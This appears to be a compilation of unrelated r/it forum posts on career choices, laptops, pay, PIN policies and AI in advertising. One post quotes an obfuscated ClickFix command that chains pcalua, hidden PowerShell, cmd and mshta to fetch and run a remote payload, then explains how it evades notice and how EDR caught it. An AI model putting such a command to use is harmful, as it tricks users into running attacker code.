r/it

After working many jobs all of which a high schooler could have worked I decided that I should start looking for a real career. After a bit of research I landed on IT because it seems like you can learn from home on your own time which is helpful since I can’t stop working. My question to everyone is if you had to start from nothing on a low budget what would be your first steps to breaking in or would you look for a career in a different field.

How stressed are you being in IT? What do you do? How’s your management? What’s expected of you and is it realistic?

​

Had an interesting one today.

CrowdStrike flagged a user executing this through the Windows Run dialog:

pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/[REDACTED]' -Wi Hi"

Which basically unwraps into:

Explorer → pcalua.exe → PowerShell → cmd.exe → mshta.exe → remote payload

The m^s^h^t^a and h^t^t^p^s obfuscation was especially nice. CMD strips the carets, so it ends up executing mshta against the remote URL while PowerShell launches the CMD window hidden.

CrowdStrike also caught the RunMRU registry activity, which made it pretty obvious the command had been pasted into Win+R — classic ClickFix behaviour.

At first glance I'm thinking:

"Well, someone's having a very bad day."

Then came the plot twist:

It was our auditors running an authorised pentest. 😂

Pretty cool seeing the whole thing light up in Falcon though. It detected both the suspicious copy/paste behaviour and the LOLBin execution chain.

For the security guys here

Would your endpoint controls actually prevent this chain, or would you mostly rely on EDR detection once pcalua → PowerShell → cmd → mshta starts happening?

Also curious how many environments have outright blocked mshta.exe at this point.

I know there will be some overlap, but generally speaking, what’s the difference in abilities/role between Sys/App Engineers and Sys Admins?

All business will adopt AI like they adopted computers but it may be slow in some industries and fast in others. That is where AI professionals will be needed. However they will have limited budget for same and would only pay wrt their organisational policies.

India's IT industry operates on a flawed model of labor arbitrage. It was never resilient and is bound to collapse. However the demand for software and AI remains high and will increase as business owners will understand its value. This will create opportunities for AI entrepreneurs and professionals in Non Tech Industries where the advancements have not reached.

Maybe I'm old but a pin number does NOT have letters or symbols in it. It is a pin NUMBER. A series of numbers to secure your device. If I am forced to have upper case and lower case letters and symbols in my pin, it is no longer a pin. It is a password. I now have two passwords. My agency is forcing this on us and I am livid. I will die on this hill.

Hi there, I‘m an it-freelancer. One of my customers needs a firewall and I offered him a Sophos XGS108 with 5 years standard protection. My Sophos dealer now asked for the name and other data of my customer for a personaliced offer and I would have to register the firewall on my customer. I don’t want to give data of my customer neither to the Sophos dealer nor to Sophos, because I think after 5 years they make a new contract with my customer without me in the middle. Any thoughts to that? Need some advice. Thx

I am going to school for cyber security.

I currently have a mac book pro, but definitely needing to upgrade.

I love the lenovo yoga 2 in 1, but that's more b scatter if the look of it.

I think the ThinkPad p14s Gen 7 AMFlD mobile workstation would be better, but i hate the look of it.

Does anyone know anything about the ThinkPad and is it with it?

I’m starting IT studies and need to get a laptop that can handle programming, virtual machines, databases, and the usual school work without being a pain to carry around. I’ve been comparing a few models but I’m not really sure which specs matter most for IT students. Is there a particular laptop or hardware setup you’d recommend, and are there any specs I should avoid going too low on?

Thanks for any advice, I really appreciate it.

Kind of a bitter split, They took my phone so I didnt have one for a little bit. I am not sure they even know I still have it. Never contacted them. Program called SentinelOne looks like it still may be reporting. Didnt turn it on for over 1 year. Now use it for personal use, but it is so slow I want to factory reset it. Should I? Or should I try to contact them regarding it? I am sure they arent missing it. But dont want them to be petty and see its reset and then come after me? You'd think theyd still see it online when I use it personally? They've not contacted me or vice versa.. idk how much trouble id get in if any?

What the title says. Curious if people sought specific roles or if they were promoted due to their people skills, if they enjoyed a less technical role, and how people skills overall impacted their career.

I’m a 25-year-old .NET developer trying to decide between staying at my current job or taking an offer from a large oil company, one of the largest in the world. I’d really appreciate some outside perspectives, especially from people who have made a similar decision.

Some more background: i interned with this company, they have an Azure development environment, scrum agile, up to date on things whereas current company is super small dev team, lot of flexibility on the code i wrote (no need for 100 approvals, unit testing, 100 meetings, etc), and we host locally (no cloud). I mention this cause I’m kind of scared to enter an environment that’s slightly more stress.

Current job:
$96k salary after my employer countered
15% employer retirement contribution
Free health insurance
Same vacation as the new offer
25-minute shorter commute
I genuinely love my boss and coworkers
I’m very comfortable with the work and company
Good work-life balance
Not a ton of advancement opportunities, although I’m not necessarily obsessed with climbing the corporate ladder
Large oil company offer:
$98k base
15% annual cash bonus
7% pension contribution
7% 401(k) match
Health insurance would cost me roughly $3–4k/year for family coverage, depending on the plan
One day a week working from home
Same vacation
Larger company with more potential career advancement
Longer commute on the four days I’d be in the office
I obviously don’t know yet what the boss/team/work environment will be like
Financially, the large oil company seems clearly better once I account for the bonus, pension and 401(k), but the difference isn’t necessarily life-changing right now.
My wife is also finishing her path to becoming a nurse practitioner and should be making significantly more money in about two years. We don’t have a ton of debt, and our long-term goals are to build a nice house, retire early if possible, and potentially have a small lake house someday.
At the same time, family time and quality of life are extremely important to me. I have a young daughter, and there is something really valuable about genuinely enjoying where I work and having a boss I really like.
I’m struggling with whether I should:

1. Take the large oil company offer for the better long-term compensation, retirement benefits and career growth, knowing I could potentially use the experience to increase my earning power over the next 5–10 years.
   OR
2. Stay at my current company, take the $96k + 15% retirement + free healthcare, and prioritize the job satisfaction, shorter commute, people I like working with and overall quality of life.
   For those of you with more career experience:
   What would you do in my situation?
   Would you take the large oil company offer, or is the quality-of-life difference enough that you’d stay? And are there any factors I’m overlooking that I should be considering before making the decision?

A school district has signed a deal for a humanoid robot teacher for the future , flock surveillance cameras are getting cancelled across 85 contracts in 28 states and a mexican startup is selling Evs for $8.5k (not even silicon valley cant match that) and guess what, in the advertising industry something totally diff than this wave is happening,brands are paying a premium for proof that a human made something (who could have imagined)

the ugc advertising market that consists of short videos of real people reviewing products(sorry for mansplaining) has been flooded with ai gen content with synthetic avatars, ai voiceovers and artificially generated testimonials that are technically indistinguishable from REAL people but it still feel off in ways we register it without being able to articulate(in short slop),so now platforms like tiktok and meta are now requiring disclosure labels on ai generated ad content and brands that built their entire creative pipeline on ai avatars are watching engagement rates drop.

And thankfully instead of users adapting to ai content, brands are moving back toward human creators and paying more for the privilege,now there are companies like Icon that are marketing their product as no ai and 100% real as a premium differentiator (ar almost same price as sloppy content) coz the human made label is becoming a quality signal now

If we think about it ,it basically the the historical parallel ,like the industrial revolution made mass produced goods so cheap and avl that handmade goods became luxury items, every time a technology makes a category of output infinitely abundant, the scarce human version of that output increases in perceived value.

and imo we are in the early stages of that dynamic playing out across every creative category simultaneously ,idk what happens to the economic and cultural value of the human version when the ai version is everywhere.

does human made content become a permanent premium category the way handmade goods did, or does the distinction eventually stop mattering as ai quality becomes indistinguishable?

For IT/admin folks: what PDF-related issue do users keep bringing back no matter how many times it gets “fixed”?

Printing? Forms? Default app settings? Signatures? Huge files? Plugins? Updates? Something breaking after a new version?

PDFs feel boring until they become everyone’s problem at once.